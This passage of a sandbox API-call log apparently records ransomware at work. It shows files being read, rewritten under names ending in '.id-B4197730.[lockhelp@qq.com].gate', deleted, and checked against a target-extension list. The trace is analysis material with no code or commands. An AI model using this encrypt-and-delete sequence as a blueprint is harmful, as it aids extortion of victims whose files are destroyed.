lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.658] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.658] SetEndOfFile (hFile=0x30c) returned 1 [0113.658] CloseHandle (hObject=0x30c) returned 1 [0113.660] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.660] SetEndOfFile (hFile=0x350) returned 1 [0113.661] CloseHandle (hObject=0x350) returned 1 [0113.661] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.662] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0113.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.662] lstrlenW (lpString=".doc") returned 4 [0113.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.662] lstrlenW (lpString=".docx") returned 5 [0113.662] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.662] lstrlenW (lpString=".pdf") returned 4 [0113.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.662] lstrlenW (lpString=".xls") returned 4 [0113.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.662] lstrlenW (lpString=".xlsx") returned 5 [0113.662] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.662] lstrlenW (lpString=".ppt") returned 4 [0113.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.662] lstrlenW (lpString=".zip") returned 4 [0113.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.662] lstrlenW (lpString=".rar") returned 4 [0113.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString=".bz2") returned 4 [0113.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString=".7z") returned 3 [0113.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.663] lstrlenW (lpString=".dbf") returned 4 [0113.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.663] lstrlenW (lpString=".1cd") returned 4 [0113.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.663] lstrlenW (lpString=".jpg") returned 4 [0113.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.663] lstrlenW (lpString=".doc") returned 4 [0113.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString=".docx") returned 5 [0113.663] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.663] lstrlenW (lpString=".pdf") returned 4 [0113.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString=".xls") returned 4 [0113.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.663] lstrlenW (lpString=".xlsx") returned 5 [0113.663] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.663] lstrlenW (lpString=".ppt") returned 4 [0113.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.664] lstrlenW (lpString=".zip") returned 4 [0113.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.664] lstrlenW (lpString=".rar") returned 4 [0113.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.664] lstrlenW (lpString=".bz2") returned 4 [0113.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.664] lstrlenW (lpString=".7z") returned 3 [0113.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.664] lstrlenW (lpString=".dbf") returned 4 [0113.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.664] lstrlenW (lpString=".1cd") returned 4 [0113.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0113.664] lstrlenW (lpString=".jpg") returned 4 [0113.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.664] lstrcmpiW (lpString1=".bmp", lpString2=".gate") returned -1 [0113.664] lstrlenW (lpString="header.bmp") returned 10 [0113.664] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.665] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3628) returned 1 [0113.666] CloseHandle (hObject=0x350) returned 1 [0113.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0113.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.666] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.666] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.666] GetLastError () returned 0x0 [0113.666] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xe2c, lpOverlapped=0x0) returned 1 [0113.945] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe30, lpOverlapped=0x0) returned 1 [0113.946] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.947] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe8, lpOverlapped=0x0) returned 1 [0113.947] SetEndOfFile (hFile=0x30c) returned 1 [0113.947] CloseHandle (hObject=0x30c) returned 1 [0113.948] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.948] SetEndOfFile (hFile=0x350) returned 1 [0113.949] CloseHandle (hObject=0x350) returned 1 [0113.949] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.949] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0113.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.949] lstrlenW (lpString=".doc") returned 4 [0113.949] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.949] lstrlenW (lpString=".docx") returned 5 [0113.949] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0113.949] lstrlenW (lpString=".pdf") returned 4 [0113.949] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.949] lstrlenW (lpString=".xls") returned 4 [0113.950] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString=".xlsx") returned 5 [0113.950] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0113.950] lstrlenW (lpString=".ppt") returned 4 [0113.950] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.950] lstrlenW (lpString=".zip") returned 4 [0113.950] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString=".rar") returned 4 [0113.950] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString=".bz2") returned 4 [0113.950] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString=".7z") returned 3 [0113.950] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.950] lstrlenW (lpString=".dbf") returned 4 [0113.950] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.950] lstrlenW (lpString=".1cd") returned 4 [0113.950] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.950] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.950] lstrlenW (lpString=".jpg") returned 4 [0113.951] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.951] lstrlenW (lpString=".doc") returned 4 [0113.951] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".docx") returned 5 [0113.951] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0113.951] lstrlenW (lpString=".pdf") returned 4 [0113.951] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".xls") returned 4 [0113.951] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".xlsx") returned 5 [0113.951] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0113.951] lstrlenW (lpString=".ppt") returned 4 [0113.951] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.951] lstrlenW (lpString=".zip") returned 4 [0113.951] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".rar") returned 4 [0113.951] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".bz2") returned 4 [0113.951] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString=".7z") returned 3 [0113.951] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0113.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.951] lstrlenW (lpString=".dbf") returned 4 [0113.951] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0113.951] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.951] lstrlenW (lpString=".1cd") returned 4 [0113.951] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0113.952] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0113.952] lstrlenW (lpString=".jpg") returned 4 [0113.952] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0113.952] lstrcmpiW (lpString1=".BAK", lpString2=".gate") returned -1 [0113.952] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0113.952] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.952] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=8192) returned 1 [0113.952] CloseHandle (hObject=0x350) returned 1 [0113.952] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0113.952] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\bootsect.bak.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.953] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0113.953] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0113.953] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.953] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.953] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\bootsect.bak.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0114.015] GetLastError () returned 0x0 [0114.015] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x2000, lpOverlapped=0x0) returned 1 [0114.041] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x2010, lpOverlapped=0x0) returned 1 [0114.042] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0114.042] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xec, lpOverlapped=0x0) returned 1 [0114.042] SetEndOfFile (hFile=0x318) returned 1 [0114.042] CloseHandle (hObject=0x318) returned 1 [0114.043] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0114.043] SetEndOfFile (hFile=0x350) returned 1 [0114.044] CloseHandle (hObject=0x350) returned 1 [0114.044] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x27) returned 1 [0114.044] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0114.044] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.044] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.044] lstrlenW (lpString=".doc") returned 4 [0114.044] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0114.044] lstrlenW (lpString=".docx") returned 5 [0114.044] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0114.044] lstrlenW (lpString=".pdf") returned 4 [0114.044] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".xls") returned 4 [0114.045] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".xlsx") returned 5 [0114.045] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0114.045] lstrlenW (lpString=".ppt") returned 4 [0114.045] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString=".zip") returned 4 [0114.045] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".rar") returned 4 [0114.045] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".bz2") returned 4 [0114.045] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".7z") returned 3 [0114.045] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString=".dbf") returned 4 [0114.045] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString=".1cd") returned 4 [0114.045] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString=".jpg") returned 4 [0114.045] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.045] lstrlenW (lpString=".doc") returned 4 [0114.045] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0114.045] lstrlenW (lpString=".docx") returned 5 [0114.045] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0114.047] lstrlenW (lpString=".pdf") returned 4 [0114.047] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString=".xls") returned 4 [0114.047] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString=".xlsx") returned 5 [0114.047] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0114.047] lstrlenW (lpString=".ppt") returned 4 [0114.047] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.047] lstrlenW (lpString=".zip") returned 4 [0114.047] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString=".rar") returned 4 [0114.047] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString=".bz2") returned 4 [0114.047] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString=".7z") returned 3 [0114.047] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0114.047] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.047] lstrlenW (lpString=".dbf") returned 4 [0114.047] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0114.047] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.047] lstrlenW (lpString=".1cd") returned 4 [0114.047] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0114.047] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0114.047] lstrlenW (lpString=".jpg") returned 4 [0114.047] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0114.048] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.048] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0114.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.048] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=4450) returned 1 [0114.048] CloseHandle (hObject=0x350) returned 1 [0114.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0114.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.049] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0114.049] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0114.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0114.049] GetLastError () returned 0x0 [0114.049] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x1162, lpOverlapped=0x0) returned 1 [0114.071] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x1170, lpOverlapped=0x0) returned 1 [0114.072] ReadFile (in: hFile=0x350, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0114.072] WriteFile (in: hFile=0x318, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x108, lpOverlapped=0x0) returned 1 [0114.072] SetEndOfFile (hFile=0x318) returned 1 [0114.072] CloseHandle (hObject=0x318) returned 1 [0114.075] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0114.075] SetEndOfFile (hFile=0x350) returned 1 [0114.076] CloseHandle (hObject=0x350) returned 1 [0114.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0114.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0114.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.076] lstrlenW (lpString=".doc") returned 4 [0114.076] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.076] lstrlenW (lpString=".docx") returned 5 [0114.076] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.076] lstrlenW (lpString=".pdf") returned 4 [0114.076] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.076] lstrlenW (lpString=".xls") returned 4 [0114.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.077] lstrlenW (lpString=".xlsx") returned 5 [0114.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.077] lstrlenW (lpString=".ppt") returned 4 [0114.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.077] lstrlenW (lpString=".zip") returned 4 [0114.077] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.077] lstrlenW (lpString=".rar") returned 4 [0114.077] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.077] lstrlenW (lpString=".bz2") returned 4 [0114.077] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.077] lstrlenW (lpString=".7z") returned 3 [0114.077] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.077] lstrlenW (lpString=".dbf") returned 4 [0114.077] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.077] lstrlenW (lpString=".1cd") returned 4 [0114.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 